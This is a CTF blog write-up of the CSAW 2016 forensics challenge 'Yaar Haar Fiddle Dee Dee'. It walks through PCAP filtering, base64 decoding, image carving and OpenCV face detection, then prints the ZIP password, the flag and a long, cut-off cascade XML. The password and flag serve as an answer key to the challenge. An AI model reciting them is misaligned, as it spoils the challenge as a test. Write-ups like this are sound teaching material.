kiki's Security & CTF blog

Saturday, September 24, 2016

CSAW 2016 Quals: Forensic 150 (Yaar Haar Fiddle Dee Dee) write-up

I worked on this challenge during the "CSAW 2016" as part of a CTF team called seven.

We are presented with a PCAP dump roughly 10MB in size and need to get the flag.
Looking at the PCPA with wireshark, we can see a lot of TCP traffic - we spot an interesting port number "13337" (leeet) :)
Quickly we can create a wireshark filter that only looks for "interesting" packets:

((tcp) && (tcp.dstport == 13337 or tcp.srcport == 13337)) && (frame.len > 62) && (frame.len < 100)

There are a lot of packets of size 62 and ones that are larger than 100... so filtering the ones in between seamed like a good starting point. Sure enough we see a few interesting packets (see picture bellow) - In the data part of the TCP there are some plaintext messages.
We select any of the packets and follow the TCP stream - the resulting stream looks like it is BASE64 encoded.

The stream actually contains 3 separate files (once you try decoding them you see that it fails on certain characters which are valid BASE64 characters). So, the files are:

Some large audio/video type file
A small ZIP file
A XML file

The XML file (see down bellow at the end for the entire file) contained some nodes which are easily googled - it is actually a trained model for face detection for OpenCV. At first glance it contained no hidden hints so I ignored it for now...

The ZIP file is really simple - it contains a single file named "flag.txt". Seams suspicious... :)
Of coarse, the ZIP file is password protected...

What was left was the large file which appeared not to be an ASCII file but an image. I decoded the entire stream as a single image and opened it (it was 6MB in size and only a single small image).
Looking with my hex editor I saw that there were actually more images after that small one, so i used foremost to extract them:

# foremost -t jpeg -o test/ my_0.jpg 
Processing: my_0.jpg
|*|

I got 1.003 images after this command ... and none of them helped in getting the flag (no clues)...

The logical thing was that the images contained a visual secret and that the face recognition model would help in narrowing that hint from the thousands of images...

So I created a small python script to apply the model to each image:

import numpy as np
import cv2
from os import listdir
from os.path import isfile, join
 
face_cascade = cv2.CascadeClassifier('mapdecoded.xml')

mypath = 'output/jpg/'
onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]

for image in onlyfiles:
 img = cv2.imread(mypath + image)
 gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
  
 faces = face_cascade.detectMultiScale(gray, scaleFactor=1.02, minNeighbors=50)
 
 if len(faces) > 0:
  print 'Found match ..!!'
  print faces
  print image
  for (x,y,w,h) in faces:
   cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2)
   roi_gray = gray[y:y+h, x:x+w]
   roi_color = img[y:y+h, x:x+w])
   
  cv2.imshow(image,img)
  cv2.waitKey(0)
  cv2.destroyAllWindows()

Oh yeah, after the BAS64 data there was some text which gave us a hint about the ZIP file password (no spaces and no caps) and the parameters to set for the matching algorithm:

I don't understand, this isn't even a ma-Yarrrr, the booty be buried by that which the map points to! (no spaces and no caps)Ayy, now I be off. But remember, the factor of scales be 1.02, and the neighborly sorts be limited to 50! Lastly, if ye sail the seven seas, you do be a pirate!

Surely enough, only one image actually had a match:

So it appears that the Jolly Roger sign (since it is the face that was detected) is the password, or at least a hint for the ZIP file.

After entering all possible combinations, I finally found a wiki page that said that the skull and crossbone were called the "jolly roger" - and the password was actually "skullandcrossbones".

The ZIP file is decrypted and we get the flag: flag{b31Ng_4_P1r4tE_1s_4lR1GHT_w1Th_M3}

The XML file for OpenCV:

<?xml version="1.0"?>
<opencv_storage>
<cascade>
  <stageType>BOOST</stageType>
  <featureType>HAAR</featureType>
  <height>30</height>
  <width>30</width>
  <stageParams>
    <boostType>GAB</boostType>
    <minHitRate>9.9500000476837158e-01</minHitRate>
    <maxFalseAlarm>5.0000000000000000e-01</maxFalseAlarm>
    <weightTrimRate>9.4999999999999996e-01</weightTrimRate>
    <maxDepth>1</maxDepth>
    <maxWeakCount>100</maxWeakCount></stageParams>
  <featureParams>
    <maxCatCount>0</maxCatCount>
    <featSize>1</featSize>
    <mode>BASIC</mode></featureParams>
  <stageNum>10</stageNum>
  <stages>
    <!-- stage 0 -->
    <_>
      <maxWeakCount>3</maxWeakCount>
      <stageThreshold>-7.7261334657669067e-01</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 24 1.3377459347248077e-01</internalNodes>
          <leafValues>
            -6.1252444982528687e-01 9.0941596031188965e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 4 3.8255311548709869e-02</internalNodes>
          <leafValues>
            -5.7391923666000366e-01 7.2810024023056030e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 69 1.3842673506587744e-03</internalNodes>
          <leafValues>
            -6.4532256126403809e-01 4.1383033990859985e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 1 -->
    <_>
      <maxWeakCount>6</maxWeakCount>
      <stageThreshold>-8.2591110467910767e-01</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 82 1.0120099782943726e-01</internalNodes>
          <leafValues>
            -5.5122953653335571e-01 8.3410674333572388e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 6 1.0150199383497238e-01</internalNodes>
          <leafValues>
            -5.4139006137847900e-01 6.3844043016433716e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 32 -1.8727437127381563e-03</internalNodes>
          <leafValues>
            5.6539773941040039e-01 -4.0142434835433960e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 89 3.0155121348798275e-03</internalNodes>
          <leafValues>
            -6.5615719556808472e-01 3.3911266922950745e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 65 -1.6402641776949167e-03</internalNodes>
          <leafValues>
            -8.0043667554855347e-01 1.7719028890132904e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 88 2.8374367393553257e-03</internalNodes>
          <leafValues>
            1.8027763068675995e-01 -7.6210975646972656e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 2 -->
    <_>
      <maxWeakCount>9</maxWeakCount>
      <stageThreshold>-1.1639107465744019e+00</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 13 1.7647229135036469e-01</internalNodes>
          <leafValues>
            -4.7142857313156128e-01 7.9186046123504639e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 2 1.6621339321136475e-01</internalNodes>
          <leafValues>
            -4.1751232743263245e-01 5.6762564182281494e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 48 6.3619913998991251e-04</internalNodes>
          <leafValues>
            -5.1209175586700439e-01 4.3506258726119995e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 96 -2.9975571669638157e-03</internalNodes>
          <leafValues>
            -7.9736113548278809e-01 2.1787855029106140e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 93 -4.1302083991467953e-04</internalNodes>
          <leafValues>
            2.8706908226013184e-01 -6.4295625686645508e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 84 -3.4212353639304638e-03</internalNodes>
          <leafValues>
            -7.0922893285751343e-01 1.6431953012943268e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 20 3.7552635185420513e-03</internalNodes>
          <leafValues>
            -5.7783079147338867e-01 2.2884207963943481e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 91 2.4454316589981318e-03</internalNodes>
          <leafValues>
            1.1597786843776703e-01 -9.1272181272506714e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 80 3.4623834653757513e-04</internalNodes>
          <leafValues>
            -7.9409426450729370e-01 1.2430494278669357e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 3 -->
    <_>
      <maxWeakCount>12</maxWeakCount>
      <stageThreshold>-1.0153998136520386e+00</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 82 1.3838815689086914e-01</internalNodes>
          <leafValues>
            -2.7157130837440491e-01 7.4984365701675415e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 5 1.7953444272279739e-02</internalNodes>
          <leafValues>
            -5.3070461750030518e-01 4.3870407342910767e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 98 2.3782686330378056e-03</internalNodes>
          <leafValues>
            -5.3076064586639404e-01 3.7773656845092773e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 44 3.4018503502011299e-03</internalNodes>
          <leafValues>
            -4.9649673700332642e-01 3.7702199816703796e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 120 -1.8400451517663896e-04</internalNodes>
          <leafValues>
            3.0048584938049316e-01 -5.4244798421859741e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 94 9.4413170590996742e-03</internalNodes>
          <leafValues>
            1.2891484797000885e-01 -9.2532438039779663e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 84 -6.2572369351983070e-03</internalNodes>
          <leafValues>
            -8.2129240036010742e-01 1.1797203868627548e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 41 1.5228511765599251e-03</internalNodes>
          <leafValues>
            -5.4300200939178467e-01 1.7991723120212555e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 9 -2.3266784846782684e-02</internalNodes>
          <leafValues>
            -7.4379235506057739e-01 1.6141372919082642e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 63 1.8505189800634980e-03</internalNodes>
          <leafValues>
            -2.8316953778266907e-01 3.8188931345939636e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 76 -1.8569109961390495e-03</internalNodes>
          <leafValues>
            4.8158398270606995e-01 -2.4667689204216003e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 12 1.3377957977354527e-02</internalNodes>
          <leafValues>
            -2.0978261530399323e-01 5.7678294181823730e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 4 -->
    <_>
      <maxWeakCount>13</maxWeakCount>
      <stageThreshold>-1.0937521457672119e+00</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 24 2.1096925437450409e-01</internalNodes>
          <leafValues>
            -1.6803954541683197e-01 7.4293404817581177e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 46 7.9188104718923569e-03</internalNodes>
          <leafValues>
            -2.8488522768020630e-01 5.7220435142517090e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 3 6.1984624713659286e-02</internalNodes>
          <leafValues>
            -4.7262921929359436e-01 3.3358234167098999e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 85 -2.4572832044214010e-03</internalNodes>
          <leafValues>
            -8.7944072484970093e-01 1.6124698519706726e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 81 1.0663566645234823e-03</internalNodes>
          <leafValues>
            -6.2075209617614746e-01 1.6821675002574921e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 37 9.1570727527141571e-03</internalNodes>
          <leafValues>
            1.1967813223600388e-01 -8.1540882587432861e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 75 -6.2808701768517494e-03</internalNodes>
          <leafValues>
            -7.9322797060012817e-01 1.3456417620182037e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 121 2.4483009474352002e-04</internalNodes>
          <leafValues>
            -2.9758372902870178e-01 3.3820572495460510e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 106 1.1666008504107594e-04</internalNodes>
          <leafValues>
            -3.0289506912231445e-01 3.6561006307601929e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 107 1.0336386039853096e-03</internalNodes>
          <leafValues>
            1.4201451838016510e-01 -8.6334031820297241e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 105 -1.0963005479425192e-03</internalNodes>
          <leafValues>
            -7.8962218761444092e-01 9.1349549591541290e-02</leafValues></_>
        <_>
          <internalNodes>
            0 -1 26 1.3684922596439719e-03</internalNodes>
          <leafValues>
            -5.4428642988204956e-01 1.7607933282852173e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 116 2.4082153104245663e-03</internalNodes>
          <leafValues>
            -2.0592889189720154e-01 4.5486196875572205e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 5 -->
    <_>
      <maxWeakCount>18</maxWeakCount>
      <stageThreshold>-1.1274087429046631e+00</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 25 -2.0125441253185272e-02</internalNodes>
          <leafValues>
            6.5696597099304199e-01 -1.4838708937168121e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 114 3.0118798837065697e-02</internalNodes>
          <leafValues>
            -4.1550749540328979e-01 3.7169215083122253e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 33 -1.0762807913124561e-02</internalNodes>
          <leafValues>
            4.9916806817054749e-01 -2.2508652508258820e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 39 1.9221356138586998e-02</internalNodes>
          <leafValues>
            1.4045031368732452e-01 -9.1510039567947388e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 42 2.0907176658511162e-03</internalNodes>
          <leafValues>
            -6.5846973657608032e-01 1.3754993677139282e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 68 6.6539540421217680e-04</internalNodes>
          <leafValues>
            -3.6192888021469116e-01 2.7528679370880127e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 67 1.2015562504529953e-02</internalNodes>
          <leafValues>
            9.0668953955173492e-02 -8.4622031450271606e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 103 1.2702662497758865e-03</internalNodes>
          <leafValues>
            -5.4063570499420166e-01 1.6567414999008179e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 95 9.5476154237985611e-03</internalNodes>
          <leafValues>
            1.0920633375644684e-01 -7.8216695785522461e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 30 -1.1215604841709137e-02</internalNodes>
          <leafValues>
            6.1212885379791260e-01 -1.7217887938022614e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 38 1.5079678269103169e-03</internalNodes>
          <leafValues>
            -2.9614955186843872e-01 4.4050931930541992e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 126 -6.2295020325109363e-04</internalNodes>
          <leafValues>
            3.9620870351791382e-01 -2.2691147029399872e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 123 4.3060942552983761e-03</internalNodes>
          <leafValues>
            -1.9321586191654205e-01 4.5415228605270386e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 113 1.2627181131392717e-03</internalNodes>
          <leafValues>
            1.1014065146446228e-01 -9.0514993667602539e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 117 1.6422034241259098e-03</internalNodes>
          <leafValues>
            7.5081378221511841e-02 -7.9658424854278564e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 7 -7.4112727306783199e-03</internalNodes>
          <leafValues>
            3.0178996920585632e-01 -2.6724410057067871e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 119 2.2554639144800603e-05</internalNodes>
          <leafValues>
            1.5560455620288849e-01 -4.9410980939865112e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 54 6.8305653985589743e-04</internalNodes>
          <leafValues>
            -3.0355548858642578e-01 2.5490531325340271e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 6 -->
    <_>
      <maxWeakCount>19</maxWeakCount>
      <stageThreshold>-1.2386492490768433e+00</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 40 3.3475808799266815e-02</internalNodes>
          <leafValues>
            -3.1291610002517700e-01 5.8234989643096924e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 108 2.0869309082627296e-03</internalNodes>
          <leafValues>
            -4.5357540249824524e-01 4.0048003196716309e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 8 7.2008490562438965e-02</internalNodes>
          <leafValues>
            -5.5817115306854248e-01 2.4090878665447235e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 29 1.4258455485105515e-03</internalNodes>
          <leafValues>
            -3.4948354959487915e-01 3.0749201774597168e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 17 3.1277488917112350e-02</internalNodes>
          <leafValues>
            1.0059669613838196e-01 -8.3201909065246582e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 53 3.0772015452384949e-03</internalNodes>
          <leafValues>
            -6.5133965015411377e-01 1.0943488031625748e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 87 -2.2086300305090845e-04</internalNodes>
          <leafValues>
            3.5542139410972595e-01 -2.3121701180934906e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 36 5.3857993334531784e-03</internalNodes>
          <leafValues>
            -2.5585448741912842e-01 4.5719194412231445e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 101 -7.8172382200136781e-04</internalNodes>
          <leafValues>
            -8.7403750419616699e-01 1.4458982646465302e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 66 6.9159711711108685e-04</internalNodes>
          <leafValues>
            -2.8976866602897644e-01 3.4993228316307068e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 59 1.2722745537757874e-02</internalNodes>
          <leafValues>
            1.0614752769470215e-01 -7.7415114641189575e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 86 -3.3022616989910603e-03</internalNodes>
          <leafValues>
            -5.0945824384689331e-01 1.6404749453067780e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 70 -1.9868051458615810e-04</internalNodes>
          <leafValues>
            1.6311998665332794e-01 -5.1577031612396240e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 73 -5.1341978833079338e-03</internalNodes>
          <leafValues>
            -7.6307177543640137e-01 9.0051032602787018e-02</leafValues></_>
        <_>
          <internalNodes>
            0 -1 10 1.1894929921254516e-03</internalNodes>
          <leafValues>
            -2.3542603850364685e-01 3.4208714962005615e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 83 6.8933423608541489e-04</internalNodes>
          <leafValues>
            -3.9720448851585388e-01 2.4128234386444092e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 61 1.2901937589049339e-03</internalNodes>
          <leafValues>
            -1.9777721166610718e-01 4.5298072695732117e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 64 2.6971525512635708e-03</internalNodes>
          <leafValues>
            -3.6367958784103394e-01 2.8177151083946228e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 97 1.9246935844421387e-03</internalNodes>
          <leafValues>
            9.6392430365085602e-02 -7.7059108018875122e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 7 -->
    <_>
      <maxWeakCount>17</maxWeakCount>
      <stageThreshold>-7.5733160972595215e-01</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 99 3.7615620531141758e-03</internalNodes>
          <leafValues>
            -2.7626457810401917e-01 5.7698291540145874e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 1 5.6125000119209290e-02</internalNodes>
          <leafValues>
            -1.9117079675197601e-01 6.6585779190063477e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 109 7.5340147304814309e-05</internalNodes>
          <leafValues>
            -4.5214951038360596e-01 2.8285443782806396e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 21 -2.7447037864476442e-03</internalNodes>
          <leafValues>
            3.2422411441802979e-01 -2.9384350776672363e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 30 1.5473550185561180e-02</internalNodes>
          <leafValues>
            -2.1517826616764069e-01 5.4589605331420898e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 49 -8.4024332463741302e-03</internalNodes>
          <leafValues>
            6.2346124649047852e-01 -1.5885776281356812e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 90 7.2873188182711601e-03</internalNodes>
          <leafValues>
            -5.0066167116165161e-01 2.2084668278694153e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 41 -2.3430876899510622e-04</internalNodes>
          <leafValues>
            -7.3920619487762451e-01 1.0514428466558456e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 14 4.4134072959423065e-03</internalNodes>
          <leafValues>
            -5.9560847282409668e-01 1.4684617519378662e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 28 1.0676614940166473e-02</internalNodes>
          <leafValues>
            1.2238918989896774e-01 -5.7692211866378784e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 31 -9.5700118690729141e-03</internalNodes>
          <leafValues>
            -7.2086977958679199e-01 1.0638175904750824e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 125 -3.6814587656408548e-03</internalNodes>
          <leafValues>
            4.4841542840003967e-01 -1.9963702559471130e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 100 2.1875433158129454e-03</internalNodes>
          <leafValues>
            8.6415298283100128e-02 -8.5992968082427979e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 51 -1.1970113962888718e-02</internalNodes>
          <leafValues>
            -6.9401562213897705e-01 8.4758862853050232e-02</leafValues></_>
        <_>
          <internalNodes>
            0 -1 60 -5.0354131963104010e-04</internalNodes>
          <leafValues>
            3.5264205932617188e-01 -2.2005909681320190e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 34 2.9224462807178497e-02</internalNodes>
          <leafValues>
            1.1116728931665421e-01 -7.4302721023559570e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 47 5.9404983185231686e-03</internalNodes>
          <leafValues>
            -1.8243472278118134e-01 4.3039977550506592e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 8 -->
    <_>
      <maxWeakCount>18</maxWeakCount>
      <stageThreshold>-1.0332583189010620e+00</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 50 1.2449319474399090e-03</internalNodes>
          <leafValues>
            -1.7983964085578918e-01 5.7854408025741577e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 71 -1.0787900537252426e-02</internalNodes>
          <leafValues>
            4.2335137724876404e-01 -3.6278292536735535e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 0 2.0860376954078674e-01</internalNodes>
          <leafValues>
            -4.8626354336738586e-01 2.5174459815025330e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 23 2.4211863055825233e-03</internalNodes>
          <leafValues>
            -3.6421075463294983e-01 2.6296493411064148e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 11 -3.7577610928565264e-03</internalNodes>
          <leafValues>
            4.6484348177909851e-01 -2.1493357419967651e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 112 1.4874317275825888e-04</internalNodes>
          <leafValues>
            -4.3502125144004822e-01 2.1088445186614990e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 22 -2.9867151752114296e-03</internalNodes>
          <leafValues>
            -7.0832252502441406e-01 1.1350621283054352e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 104 -4.3054893612861633e-03</internalNodes>
          <leafValues>
            -7.6404833793640137e-01 9.3679696321487427e-02</leafValues></_>
        <_>
          <internalNodes>
            0 -1 102 -9.9378265440464020e-03</internalNodes>
          <leafValues>
            -8.4571427106857300e-01 8.6784079670906067e-02</leafValues></_>
        <_>
          <internalNodes>
            0 -1 43 5.1076561212539673e-03</internalNodes>
          <leafValues>
            -2.7396127581596375e-01 3.3164530992507935e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 57 1.3581223320215940e-03</internalNodes>
          <leafValues>
            -2.7522492408752441e-01 4.3096849322319031e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 19 1.9452240318059921e-02</internalNodes>
          <leafValues>
            -1.5178191661834717e-01 5.1526969671249390e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 56 1.1165153235197067e-02</internalNodes>
          <leafValues>
            1.4689342677593231e-01 -6.7996382713317871e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 54 1.5399246476590633e-03</internalNodes>
          <leafValues>
            -2.4516202509403229e-01 3.0976790189743042e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 63 1.5184436924755573e-03</internalNodes>
          <leafValues>
            -2.2717699408531189e-01 4.5420220494270325e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 77 9.7685456275939941e-03</internalNodes>
          <leafValues>
            2.0145168900489807e-01 -4.7829699516296387e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 86 9.8696872591972351e-03</internalNodes>
          <leafValues>
            7.2631411254405975e-02 -8.5188585519790649e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 122 2.4600859615020454e-04</internalNodes>
          <leafValues>
            -2.5627604126930237e-01 3.1956541538238525e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 9 -->
    <_>
      <maxWeakCount>20</maxWeakCount>
      <stageThreshold>-9.9150955677032471e-01</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 62 1.3654518872499466e-02</internalNodes>
          <leafValues>
            -9.8709184676408768e-03 6.6015905141830444e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 78 7.2427727282047272e-03</internalNodes>
          <leafValues>
            -5.8807718753814697e-01 2.1381166577339172e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 111 4.9609469715505838e-04</internalNodes>
          <leafValues>
            -2.9101940989494324e-01 3.4527143836021423e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 18 3.4736156463623047e-01</internalNodes>
          <leafValues>
            -1.9211575388908386e-01 4.8873701691627502e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 79 1.5080852434039116e-02</internalNodes>
          <leafValues>
            9.7582928836345673e-02 -7.5306981801986694e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 15 -9.5184110105037689e-03</internalNodes>
          <leafValues>
            3.9861851930618286e-01 -2.4962207674980164e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 55 2.1816417574882507e-03</internalNodes>
          <leafValues>
            -2.5537005066871643e-01 3.3598521351814270e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 124 4.2950930073857307e-03</internalNodes>
          <leafValues>
            -1.3245861232280731e-01 4.8518487811088562e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 58 -7.1088126860558987e-03</internalNodes>
          <leafValues>
            5.9675210714340210e-01 -1.5455369651317596e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 52 -2.7665104425977916e-05</internalNodes>
          <leafValues>
            -4.1188406944274902e-01 2.0186842978000641e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 110 2.1967918146401644e-03</internalNodes>
          <leafValues>
            9.3253009021282196e-02 -7.3134720325469971e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 27 1.0375663638114929e-02</internalNodes>
          <leafValues>
            1.2880435585975647e-01 -5.1558691263198853e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 16 8.1313988193869591e-03</internalNodes>
          <leafValues>
            -4.6929702162742615e-01 1.6841439902782440e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 115 1.2468376662582159e-03</internalNodes>
          <leafValues>
            8.6429163813591003e-02 -8.4415769577026367e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 92 1.5072302892804146e-02</internalNodes>
          <leafValues>
            -1.5016663074493408e-01 5.2526330947875977e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 45 2.1049689967185259e-03</internalNodes>
          <leafValues>
            9.7609296441078186e-02 -7.4327546358108521e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 118 1.8947373609989882e-03</internalNodes>
          <leafValues>
            6.1133395880460739e-02 -9.1627216339111328e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 72 -5.8402167633175850e-03</internalNodes>
          <leafValues>
            -8.3514356613159180e-01 6.5533354878425598e-02</leafValues></_>
        <_>
          <internalNodes>
            0 -1 74 7.4425544589757919e-03</internalNodes>
          <leafValues>
            -1.9804942607879639e-01 3.9447832107543945e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 35 -4.1467421688139439e-03</internalNodes>
          <leafValues>
            4.2921727895736694e-01 -2.1308177709579468e-01</leafValues></_></weakClassifiers></_></stages>
  <features>
    <_>
      <rects>
        <_>
          0 7 30 14 -1.</_>
        <_>
          10 7 10 14 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          0 8 27 2 -1.</_>
        <_>
          9 8 9 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          0 8 30 9 -1.</_>
        <_>
          10 8 10 9 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          0 14 30 3 -1.</_>
        <_>
          10 14 10 3 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          2 14 27 3 -1.</_>
        <_>
          11 14 9 3 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          3 8 21 3 -1.</_>
        <_>
          10 8 7 3 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          3 9 24 9 -1.</_>
        <_>
          11 9 8 9 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          3 11 6 18 -1.</_>
        <_>
          3 11 3 9 2.</_>
        <_>
          6 20 3 9 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          4 8 21 9 -1.</_>
        <_>
          11 8 7 9 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          5 10 12 6 -1.</_>
        <_>
          9 10 4 6 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          6 20 6 1 -1.</_>
        <_>
          9 20 3 1 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          7 13 4 6 -1.</_>
        <_>
          7 15 4 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          8 8 9 6 -1.</_>
        <_>
          8 10 9 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
